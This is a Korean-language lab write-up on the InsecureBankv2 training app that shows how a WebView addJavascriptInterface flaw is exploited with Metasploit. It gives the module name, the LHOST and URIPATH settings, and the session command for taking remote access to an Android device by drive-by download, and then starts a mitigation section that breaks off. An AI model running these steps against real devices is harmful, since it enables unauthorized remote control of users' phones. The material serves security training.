[InsecureBankv2] 안전하지 않은 웹 뷰 실행

< Web View >

- 안드로이드 개발 시 주로 웹 브라우저에서 보이는 화면을 표시하거나 웹 앱 or 하이브리드 앱 개발 시 사용

- 웹킷 렌더링 엔진(안드로이드 내부 모듈)을 사용해 자바스크립트 지원

- 사용하기 위해서는 인터넷에 액세스 할 수 있는 권한 필요

 

하이브리드 앱을 만드는 이유 : 개발 과정이 안드로이드 네이티브 앱에 비해 쉬움

                                                  기기 간의 호환성 해결하기 쉬움

 

 

 

인시큐어뱅크의 안드로이드 매니페스트 파일에는 다음과 같은 인터넷 사용 권한 존재

<uses-permission android:name="android.permission.INTERNET" />

 

 

 

 

< 취약점 진단 과정 >

* 칼리리눅스 메타스플로잇 이용*

 

1. 메타스플로잇 실행

msfconsole

 

2. 웹 뷰 취약점 모듈 실행

use exploit/android/browser/webview_addjavascriptinterface

 

    2-1) 로컬 호스트의 IP 설정

    set LHOST [ 공격자의 칼리리눅스 IP ]

    2-2) 공격에 사용할 URL 설정

    set URIPATH xitcsk

 

    2-3) 옵션 설정 완료되면 exploit 명령어 실행

    exloit

 

3. 메타스플로잇에서 설정한 http://호스트 ip:8080/xitcsk/ 를 브라우저의 URL에 입력

- 해당 URL을 가상 디바이스에서 접근하면 칼리리눅스에서 안드로이드 디바이스에 접근할 수 있도록 액세스 된다.

 

4. 세션 접속

sessions -i 1

 

웹에서의 드라이브 바이 다운로드(Drive-By-Download) 공격과 URL을 접속만을

통해 안드로이드 디바이스의 액세스 권한을 취득했다.

 

*드라이브 바이 다운로드 : 웹 브라우저 및 범용 앱의 취약점을 이용해 사용자가 사이트에

접근하기만 해도 악성코드에 감염

 

 

 

 

 

< 대응 방안 >

1. 웹 뷰 구현시 안드로이드 4.4 이상 버전 사용

- 구글에서는 안드로이드 4.3 이하는 보안 패치 중단했으므로 4.4 이상 버전을 이용.

 

2.